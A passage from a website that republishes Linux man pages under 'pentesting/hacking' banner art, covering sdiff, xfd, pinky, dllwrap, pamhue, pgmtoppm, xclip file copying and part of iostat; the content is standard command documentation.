Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be included in translations approved by the copyright holders instead of in the original English.

AUTHORS

Larry Wall wrote the original version of patch. Paul Eggert removed patch’s arbitrary limits; added support for binary files, setting file times, and deleting files; and made it conform better to POSIX. Other contributors include Wayne Davison, who added unidiff support, and David MacKenzie, who added configuration and backup support. Andreas Grünbacher added support for merging.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1196 - Linux cli command sdiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sdiff and provides detailed information about the command sdiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sdiff.

NAME 🖥️ sdiff 🖥️

side-by-side merge of file differences

SYNOPSIS

sdiff [OPTION]… FILE1 FILE2

DESCRIPTION

Side-by-side merge of differences between FILE1 and FILE2.

Mandatory arguments to long options are mandatory for short options too.

-o, –output=FILE
operate interactively, sending output to FILE

-i, –ignore-case
consider upper- and lower-case to be the same

-E, –ignore-tab-expansion
ignore changes due to tab expansion

-Z, –ignore-trailing-space
ignore white space at line end

-b, –ignore-space-change
ignore changes in the amount of white space

-W, –ignore-all-space
ignore all white space

-B, –ignore-blank-lines
ignore changes whose lines are all blank

-I, –ignore-matching-lines=RE
ignore changes all whose lines match RE

–strip-trailing-cr
strip trailing carriage return on input

-a, –text
treat all files as text

-w, –width=NUM
output at most NUM (default 130) print columns

-l, –left-column
output only the left column of common lines

-s, –suppress-common-lines
do not output common lines

-t, –expand-tabs
expand tabs to spaces in output

–tabsize=NUM
tab stops at every NUM (default 8) print columns

-d, –minimal
try hard to find a smaller set of changes

-H, –speed-large-files
assume large files, many scattered small changes

–diff-program=PROGRAM
use PROGRAM to compare files

–help
display this help and exit

-v, –version
output version information and exit

If a FILE is ‘-’, read standard input. Exit status is 0 if inputs are the same, 1 if different, 2 if trouble.

AUTHOR

Written by Thomas Lord.

REPORTING BUGS

Report bugs to: [email protected]
GNU diffutils home page: <https://www.gnu.org/software/diffutils/>
General help using GNU software: <https://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cmp(1), diff(1), diff3(1)

The full documentation for sdiff is maintained as a Texinfo manual. If the info and sdiff programs are properly installed at your site, the command

info sdiff

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1197 - Linux cli command xfd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xfd and provides detailed information about the command xfd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xfd.

NAME 🖥️ xfd 🖥️

display all the characters in an X font

SYNOPSIS

xfd [-options …] -fn fontname

xfd [-options …] -fa fontname

DESCRIPTION

The xfd utility creates a window containing the name of the font being displayed, a row of command buttons, several lines of text for displaying character metrics, and a grid containing one glyph per cell. The characters are shown in increasing order from left to right, top to bottom. The first character displayed at the top left will be character number 0 unless the -start option has been supplied in which case the character with the number given in the -start option will be used.

The characters are displayed in a grid of boxes, each large enough to hold any single character in the font. Each character glyph is drawn using the PolyText16 request (used by the Xlib routine XDrawString16) or the XftDrawString32 routine, depending on whether the -fn or -fa option was given. If the -box option is given, a rectangle will be drawn around each character, showing where an ImageText16 request (used by the Xlib routine XDrawImageString16) would cause background color to be displayed.

The origin of each glyph is normally set so that the character is drawn in the upper left hand corner of the grid cell. However, if a glyph has a negative left bearing or an unusually large ascent, descent, or right bearing (as is the case with cursor font), some character may not appear in their own grid cells. The -center option may be used to force all glyphs to be centered in their respective cells.

All the characters in the font may not fit in the window at once. To see the next page of glyphs, press the Next button at the top of the window. To see the previous page, press Prev. To exit xfd, press Quit.

Individual character metrics (index, width, bearings, ascent and descent) can be displayed at the top of the window by clicking on the desired character.

The font name displayed at the top of the window is the full name of the font, as determined by the server. See xlsfonts and fc-list for ways to generate lists of fonts, as well as more detailed summaries of their metrics and properties.

OPTIONS

xfd accepts all of the standard toolkit command line options along with the additional options listed below:

-fn font
This option specifies the core X server side font to be displayed. This can also be set with the FontGrid font resource. A font must be specified.

-fa font
This option specifies a Xft font to be displayed. This can also be set with the FontGrid face resource. A font pattern must be specified.

-box
This option indicates that a box should be displayed outlining the area that would be filled with background color by an ImageText request. This can also be set with the FontGrid boxChars resource. The default is False.

-center
This option indicates that each glyph should be centered in its grid. This can also be set with the FontGrid centerChars resource. The default is False.

-start number
This option specifies the glyph index of the upper left hand corner of the grid. This is used to view characters at arbitrary locations in the font. This can also be set with the FontGrid startChar resource. The default is 0.

-bc color
This option specifies the color to be used if ImageText boxes are drawn. This can also be set with the FontGrid boxColor resource.

-rows numrows
This option specifies the number of rows in the grid. This can also be set with the FontGrid cellRows resource.

-columns numcols
This option specifies the number of columns in the grid. This can also be set with the FontGrid cellColumns resource.

WIDGETS

In order to specify resources, it is useful to know the widgets which compose xfd. In the notation below, indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name. The application class name is Xfd.

Xfd  xfd
	Paned  pane
		Label  fontname
		Box  box
			Command  quit
			Command  prev
			Command  next
		Label  select
		Label  metrics
		Label  range
		Label  start
		Form  form
			FontGrid  grid

FONTGRID RESOURCES

The FontGrid widget is an application-specific widget, and a subclass of the Simple widget in the Athena widget set. The effects and instance names of this widget’s resources are given in the OPTIONS section. Capitalize the first letter of the resource instance name to get the corresponding class name.

APPLICATION SPECIFIC RESOURCES

The instance names of the application specific resources are given below. Capitalize the first letter of the resource instance name to get the corresponding class name. These resources are unlikely to be interesting unless you are localizing xfd for a different language.

selectFormat
Specifies a printf-style format string used to display information about the selected character. The default is “character 0x%02x%02x (%u,%u) (%#o,%#o)”. The arguments that will come after the format string are char.byte1, char.byte2, char.byte1, char.byte2, char.byte1, char.byte2. char.byte1 is byte 1 of the selected character. char.byte2 is byte 2 of the selected character.

metricsFormat
Specifies a printf-style format string used to display character metrics. The default is “width %d; left %d, right %d; ascent %d, descent %d (font %d, %d)”. The arguments that will come after the format string are the character metrics width, lbearing, rbearing, character ascent, character descent, font ascent, and font descent.

rangeFormat
Specifies a printf-style format string used to display the range of characters currently being displayed. The default is “range: 0x%02x%02x (%u,%u) thru 0x%02x%02x (%u,%u)”. The arguments that will come after the format string are the following fields from the XFontStruct that is returned from opening the font: min_byte1, min_char_or_byte2, min_byte1, min_char_or_byte2, max_byte1, max_char_or_byte2, max_byte1, max_char_or_byte2.

startFormat
Specifies a printf-style format string used to display information about the character at the upper left corner of the font grid. The default is “upper left: 0x%04x (%d,%d)”. The arguments that will come after the format string are the new character, the high byte of the new character, and the low byte of the new character.

nocharFormat
Specifies a printf-style format string to display when the selected character does not exist. The default is “no such character 0x%02x%02x (%u,%u) (%#o,%#o)”. The arguments that will come after the format string are the same as for the selectFormat resource.

SEE ALSO

X(7), xlsfonts(1), xrdb(1), xfontsel(1), fc-list(1), fonts.conf(5), X Logical Font Description Conventions

BUGS

The program should skip over pages full of non-existent characters.

AUTHOR

Jim Fulton, MIT X Consortium; previous program of the same name by Mark Lillibridge, MIT Project Athena.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1198 - Linux cli command pinky

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pinky and provides detailed information about the command pinky, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pinky.

NAME 🖥️ pinky 🖥️

lightweight finger

SYNOPSIS

pinky [OPTION]… [USER]…

DESCRIPTION

-l
produce long format output for the specified USERs

-b
omit the user’s home directory and shell in long format

-h
omit the user’s project file in long format

-p
omit the user’s plan file in long format

-s
do short format output, this is the default

-f
omit the line of column headings in short format

-w
omit the user’s full name in short format

-i
omit the user’s full name and remote host in short format

-q
omit the user’s full name, remote host and idle time in short format

–help
display this help and exit

–version
output version information and exit

A lightweight ‘finger’ program; print user information. The utmp file will be /var/run/utmp.

AUTHOR

Written by Joseph Arceneaux, David MacKenzie, and Kaveh Ghazi.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/pinky>
or available locally via: info ‘(coreutils) pinky invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1199 - Linux cli command i686-w64-mingw32-dllwrap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-dllwrap and provides detailed information about the command i686-w64-mingw32-dllwrap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-dllwrap.

NAME 🖥️ i686-w64-mingw32-dllwrap 🖥️

Ancient tool for generating PE style dll’s.

DESCRIPTION

dllwrap is deprecated. You should not use it for any new code. Use ld –shared instead.

OPTIONS

-h, –help
Show summary of options.

AUTHOR

This manual page was written by Ron <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1200 - Linux cli command pamhue

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamhue and provides detailed information about the command pamhue, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamhue.

.

NAME 🖥️ pamhue 🖥️

change a Netpbm image’s hues

SYNOPSIS

pamhue [-huechange=[degrees]] filename

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamhue shifts the hue of every pixel in an image by the same amount.

If the image is in a black and white or grayscale format, the image is fully desaturated, so the hue is meaningless and pamhue leaves the image unchanged.

Hue-Saturation-Value, or HSV, is one way to represent a color, like the more well-known RGB. Hue is an indication of the secondary color with the same brightness that most closely approximates the color. A secondary color is made of a combination of at most two of the primary colors.

In the HSV model, hue is an angular position on the color wheel.

With pamhue, you indicate an angle by which to change all the hues in the image; for example you can say move it 60 degrees clockwise. That would change all red pixels to yellow and all yellow pixels to green, etc.

To modify the saturation and value components of the colors, use pambrighten.

EXAMPLES

To shift the color of each pixel 120 degrees clockwise:

pamhue -huechange=120

To shift the color of each pixel 120 degrees counterclockwise:

pamhue -huechange=-120

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamhue recognizes the following command line option:

**-huechange=**degrees
This option specifies the amount to shift each color. It is in degrees, with positive meaning clockwise and negative meaning counterclockwise. It may be fractional and may be more than a full revolution.

This option is mandatory.

HISTORY

pamhue was new in Netpbm 10.86 (March 2019).

SEE ALSO

pambrighten(1) , ppmflash(1) , ppmhist(1) , ppm(1)

AUTHOR

Copyright (C) 2018 by Willem van Schaik. Copyright (C) 1990 by Brian Moffet. Copyright (C) 1989 by Jef Poskanzer.

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. This software is provided “as is” without express or implied warranty.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamhue.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1201 - Linux cli command pgmtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmtoppm and provides detailed information about the command pgmtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmtoppm.

.

NAME 🖥️ pgmtoppm 🖥️

colorize a PGM (grayscale) image into a PPM (color) image

SYNOPSIS

pgmtoppm [**-black=colorspec1] [-white=**colorspec2] [pgmfile] pgmtoppm **-map=filename [pgmfile] pgmtoppm colorspec [pgmfile] pgmtoppm colorspec1-**colorspec2 [pgmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

If all you want to do is convert PGM to PPM, keeping the same gray pixels, you may not need to. All Netpbm programs that expect PPM input also recognize PGM. And if you must have a PPM file, use ppmtoppm instead. It is more efficient and easier to use.

pgmtoppm reads a PGM as input and produces a PPM file as output with a specific color assigned to each gray value in the input.

You can specify the color in the output to which black in the input maps, and the color to which white maps. All the gray values in between map linearly (across a three dimensional space) to colors between the black and white colors you specify.

Use the -black and -white options for this. For historical reasons, you can alternatively use a non-option argument to specify the colors. If you do that, pgmtoppm interprets the color argument like this: if the argument takes the form black-white, it has the effect of **-black=**black **-white=**white If instead there is no hyphen in the color argument, it has the effect of **-white=**color_argument.

Because of the historical syntax, it is not possible to let both -black and -white default (but you shouldn’t want to – see below for advice on making such a null conversion).

You can alternatively specify an entire colormap with the -map option.

A more direct way to specify a particular color to replace each particular gray level is to use pamlookup. You make an index file that explicitly associates a color with each possible gray level.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmtoppm recognizes the following command line options:

**-black=**colorspec
The program maps black pixels in the input to this color in the output. The default is black.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

You cannot specify this together with -map.

This option was new in Netpbm 10.97 (December 2021). Before that, use the color argument.

**-white=**colorspec
The program maps white pixels in the input to this color in the output. The default is white.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

You cannot specify this together with -map.

This option was new in Netpbm 10.97 (December 2021). Before that, use the color argument.

**-map=**filename
This option specifies a complete mapping of gray values in the input to color values in the output. The map file (named filename) is just a ppm file; it can be any shape, all that matters is the colors in it and their order. In this case, black gets mapped into the first color in the map file, and white gets mapped to the last and gray values in between are mapped linearly onto the sequence of colors in between. The maxval of the output image is the maxval of the map image.

NOTE - MAXVAL

When you don’t use -map, the “maxval,” or depth, of the output image is the same as that of the input image. The maxval affects the color resolution, which may cause quantization errors you don’t anticipate in your output. For example, you have a simple black and white image as a PGM with maxval 1. Run this image through pgmtoppm 0f/00/00 to try to make the image black and faint red. Because the output image will also have maxval 1, there is no such thing as faint red. It has to be either full-on red or black. pgmtoppm rounds the color 0f/00/00 down to black, and you get an output image that is nothing but black.

The fix is easy: Pass the input through pamdepth on the way into pgmtoppm to increase its depth to something that would give you the resolution you need to get your desired color. In this case, pamdepth 16 would do it. Or spare yourself the unnecessary thinking and just say pamdepth 255.

PBM input is a special case. While you might think this would be equivalent to a PGM with maxval 1 since only two gray levels are necessary to represent a PBM image, pgmtoppm, like all Netpbm programs, in fact treats it as a maxval of 255.

SEE ALSO

ppmtoppm(1) , pamdepth(1) , rgb3toppm(1) , ppmtopgm(1) , ppmtorgb3(1) , ppm(1) , pgm(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1202 - Linux cli command xclip-pastefile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xclip-pastefile and provides detailed information about the command xclip-pastefile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xclip-pastefile.

NAME 🖥️ xclip-pastefile 🖥️

copyfile, xclip-cutfile, xclip-pastefile - copy and move files via the X clipboard

SYNOPSIS

xclip-copyfile [-p] FILES…

xclip-cutfile [-p] FILES…

xclip-pastefile

DESCRIPTION

xclip-copyfile copies files into the X clipboard, recursing into directories.

xclip-cutfile copies the files, but also deletes them afterwards.

-p
preserve path formation

xclip-pastefile pastes the files out of the clipboard

EXAMPLES

Copying a file to a remote host

[maggie.lkpg.cendio.se ~]$ echo "A file created on ${HOSTNAME}" > file1
[maggie.lkpg.cendio.se ~]$ xclip-copyfile file1
[sofie.homeip.net ~/doc]$ xclip-pastefile
file1
[sofie.homeip.net ~/doc]$ cat file1
A file created on maggie.lkpg.cendio.se


Copying an entire tree structure

[sofie.homeip.net ~]$ xclip-copyfile doc
[maggie.lkpg.cendio.se ~/tmp]$ xclip-pastefile
doc/
doc/letter-mom-april.txt
doc/file1
doc/letter-dad-march.txt


Copying files with preserved path information

[maggie.lkpg.cendio.se ~]$ xclip-copyfile -p /etc/sysconfig/grub
tar: Removing leading `/' from member names
[sofie.homeip.net ~/tmp]$ xclip-pastefile
etc/sysconfig/grub
[sofie.homeip.net ~/tmp]$ ls etc/sysconfig/grub
etc/sysconfig/grub


Moving files

[sofie.homeip.net ~]$ ls letter-brother-may.txt
letter-brother-may.txt
[sofie.homeip.net ~]$ xclip-cutfile letter-brother-may.txt
[sofie.homeip.net ~]$ ls letter-brother-may.txt
ls: cannot access letter-brother-may.txt: No such file or directory
[sofie.homeip.net ~]$ cd doc
[sofie.homeip.net ~/doc]$ xclip-pastefile
letter-brother-may.txt

AUTHORS

This manual page was written by Maximilian Gass <[email protected]> for the Debian project. It may be used for everything else, of course.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1203 - Linux cli command iostat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command iostat and provides detailed information about the command iostat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the iostat.

NAME 🖥️ iostat 🖥️

Report Central Processing Unit (CPU) statistics and input/output statistics for devices and partitions.

SYNOPSIS

DESCRIPTION

The iostat command is used for monitoring system input/output device loading by observing the time the devices are active in relation to their average transfer rates. The iostat command generates reports that can be used to change system configuration to better balance the input/output load between physical disks.

The first report generated by the iostat command provides statistics concerning the time since the system was booted, unless the -y option is used (in this case, this first report is omitted). Each subsequent report covers the time since the previous report. All statistics are reported each time the iostat command is run. The report consists of a CPU header row followed by a row of CPU statistics. On multiprocessor systems, CPU statistics are calculated system-wide as averages among all processors. A device header row is displayed followed by a line of statistics for each device that is configured.

The interval parameter specifies the amount of time in seconds between each report. The *count *parameter can be specified in conjunction with the interval parameter. If the *count *parameter is specified, the value of count determines the number of reports generated at *interval *seconds apart. If the *interval *parameter is specified without the *count *parameter, the iostat command generates reports continuously.

REPORTS

The iostat command generates two types of reports, the CPU Utilization report and the Device Utilization report.

CPU Utilization Report
The first report generated by the iostat command is the CPU Utilization Report. For multiprocessor systems, the CPU values are global averages among all processors. The report has the following format:

%user
Show the percentage of CPU utilization that occurred while executing at the user level (application).

%nice
Show the percentage of CPU utilization that occurred while executing at the user level with nice priority.

%system
Show the percentage of CPU utilization that occurred while executing at the system level (kernel).

%iowait
Show the percentage of time that the CPU or CPUs were idle during which the system had an outstanding disk I/O request.

%steal
Show the percentage of time spent in involuntary wait by the virtual CPU or CPUs while the hypervisor was servicing another virtual processor.

%idle
Show the percentage of time that the CPU or CPUs were idle and the system did not have an outstanding disk I/O request.

Device Utilization Report
The second report generated by the iostat command is the Device Utilization Report. The device report provides statistics on a per physical device or partition basis. Block devices and partitions for which statistics are to be displayed may be entered on the command line. If no device nor partition is entered, then statistics are displayed for every device used by the system, and providing that the kernel maintains statistics for it. If the ALL keyword is given on the command line, then statistics are displayed for every device defined by the system, including those that have never been used. Transfer rates are shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used. The report may show the following fields, depending on the flags used (e.g. -x, **-s **and **-k **or -m):

Device:
This column gives the device (or partition) name as listed in the */dev *directory.

tps
Indicate the number of transfers per second that were issued to the device. A transfer is an I/O request to the device. Multiple logical requests can be combined into a single I/O request to the device. A transfer is of indeterminate size.

Blk_read/s (kB_read/s, MB_read/s)
Indicate the amount of data read from the device expressed in a number of blocks (kilobytes, megabytes) per second. Blocks are equivalent to sectors and therefore have a size of 512 bytes.

Blk_wrtn/s (kB_wrtn/s, MB_wrtn/s)
Indicate the amount of data written to the device expressed in a number of blocks (kilobytes, megabytes) per second.

Blk_dscd/s (kB_dscd/s, MB_dscd/s)
Indicate the amount of data discarded for the device expressed in a number of blocks (kilobytes, megabytes) per second.

Blk_w+d/s (kB_w+d/s, MB_w+d/s)
Indicate the amount of data written to or discarded for the device expressed in a number of blocks (kilobytes, megabytes) per second.

Blk_read (kB_read, MB_read)
The total number of blocks (kilobytes, megabytes) read.

Blk_wrtn (kB_wrtn, MB_wrtn)
The total number of blocks (kilobytes, megabytes) written.

Blk_dscd (kB_dscd, MB_dscd)
The total number of blocks (kilobytes, megabytes) discarded.

Blk_w+d (kB_w+d, MB_w+d)
The total number of blocks (kilobytes, megabytes) written or discarded.

r/s
The number (after merges) of read requests completed per second for the device.

w/s
The number (after merges) of write requests completed per second for the device.

d/s
The number (after merges) of discard requests completed per second for the device.

f/s
The number (after merges) of flush requests completed per second for the device. This counts flush requests executed by disks. Flush requests are not tracked for partitions. Before being merged, flush operations are counted as writes.

sec/s (kB/s, MB/s)
The number of sectors (kilobytes, megabytes) read from, written to or discarded for the device per second.

rsec/s (rkB/s, rMB/s)
The number of sectors (kilobytes, megabytes) read from the device per second.

wsec/s (wkB/s, wMB/s)
The number of sectors (kilobytes, megabytes) written to the device per second.

